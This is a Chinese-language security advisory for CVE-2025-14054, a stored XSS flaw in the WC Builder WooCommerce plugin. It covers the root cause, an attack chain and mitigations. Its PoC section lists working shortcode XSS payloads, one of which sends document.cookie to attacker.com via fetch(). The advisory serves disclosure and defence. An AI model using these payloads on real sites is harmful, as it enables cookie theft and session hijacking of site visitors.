IPBUF安全漏洞报告
English
CVE-2025-14054 CVSS 4.4 中危

CVE-2025-14054 | WC Builder WordPress插件存储型XSS漏洞

披露日期: 2025-12-21

漏洞信息

漏洞编号
CVE-2025-14054
漏洞类型
存储型跨站脚本攻击 (Stored XSS)
CVSS评分
4.4 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
WC Builder – WooCommerce Page Builder for WPBakery

相关标签

CVE-2025-14054WordPress插件漏洞存储型XSSWC BuilderWooCommerceWPBakery短代码注入跨站脚本攻击认证用户攻击MEDIUM严重程度

漏洞概述

CVE-2025-14054是WordPress插件WC Builder – WooCommerce Page Builder for WPBakery中的一个存储型跨站脚本(XSS)漏洞。该漏洞存在于插件的`wpbforwpbakery_product_additional_information`短代码中,由于对用户输入的'heading_color'参数及其他多个样式参数缺乏充分的输入清理和输出转义,导致具有商店经理级别及以上权限的认证攻击者可以在页面中注入任意Web脚本。当用户访问包含恶意脚本的页面时,注入的JavaScript代码将自动执行,可能导致会话劫持、敏感信息窃取、钓鱼攻击等严重安全后果。此漏洞影响插件1.2.0及以下所有版本,CVSS评分为4.4,属于中等严重程度。

技术细节

该漏洞的根本原因在于插件的product_additional_information.php文件中(第33行附近),对用户通过短代码属性传入的样式参数(如heading_color)缺少适当的输入验证和输出编码。具体表现为:1) 输入层面:未对heading_color等参数进行sanitization,允许攻击者注入HTML/CSS/JavaScript代码;2) 输出层面:未对用户输入进行htmlspecialchars()等转义处理,直接将用户可控数据输出到HTML属性或内容中。由于该漏洞是存储型XSS,恶意脚本会被永久保存在数据库中(通过短代码存储),所有访问相关页面的用户都会受到攻击。攻击者利用条件:需要WordPress站点上具有Shop Manager(商店经理)角色或更高权限的账户。修复方案:在处理所有用户输入参数时使用WordPress自带的sanitize函数(如sanitize_hex_color、sanitize_html_class等),并在输出时使用esc_attr()或esc_html()进行转义。

攻击链分析

STEP 1
步骤1
攻击者获得WordPress站点Shop Manager级别或更高权限的账户
STEP 2
步骤2
攻击者在页面/文章编辑界面添加包含恶意payload的wpbforwpbakery_product_additional_information短代码
STEP 3
步骤3
短代码中的heading_color等参数包含XSS payload,如'" onmouseover="alert(1)" x="'
STEP 4
步骤4
插件未对参数进行sanitization和转义,将恶意代码直接输出到HTML中并保存到数据库
STEP 5
步骤5
普通用户访问包含该短代码的页面时,恶意JavaScript代码自动执行
STEP 6
步骤6
攻击者可通过XSS实现会话劫持、窃取Cookie、钓鱼攻击或进一步横向移动

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2025-14054: Stored XSS via heading_color parameter --> <!-- Attacker needs Shop Manager-level access or higher --> <!-- Method 1: Via shortcode in post/page content --> [wpbforwpbakery_product_additional_information heading_color='" onmouseover="alert(document.cookie)" x="'] <!-- Method 2: Via shortcode with JavaScript payload --> [wpbforwpbakery_product_additional_information heading_color='blue;background-color:red;" onload="alert(String.fromCharCode(88,83,83))" x="'] <!-- Method 3: Multiple styling parameters injection --> [wpbforwpbakery_product_additional_information heading_color='red' text_color='" style="background:url(javascript:alert(1))"'] <!-- Method 4: Stored XSS payload --> [wpbforwpbakery_product_additional_information heading_color='</style><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>']

影响范围

WC Builder – WooCommerce Page Builder for WPBakery <= 1.2.0

防御指南

临时缓解措施
如果无法立即升级插件,可采取以下临时缓解措施:1) 限制用户注册功能,只允许受信任用户注册为Shop Manager角色;2) 使用WordPress安全插件(如Wordfence)监控异常短代码使用行为;3) 临时禁用wpbforwpbakery_product_additional_information短代码功能;4) 对所有用户输入实施严格的输入验证;5) 考虑使用Web应用防火墙(WAF)规则拦截恶意请求。但最根本的解决方案仍是升级到插件官方发布的安全修复版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表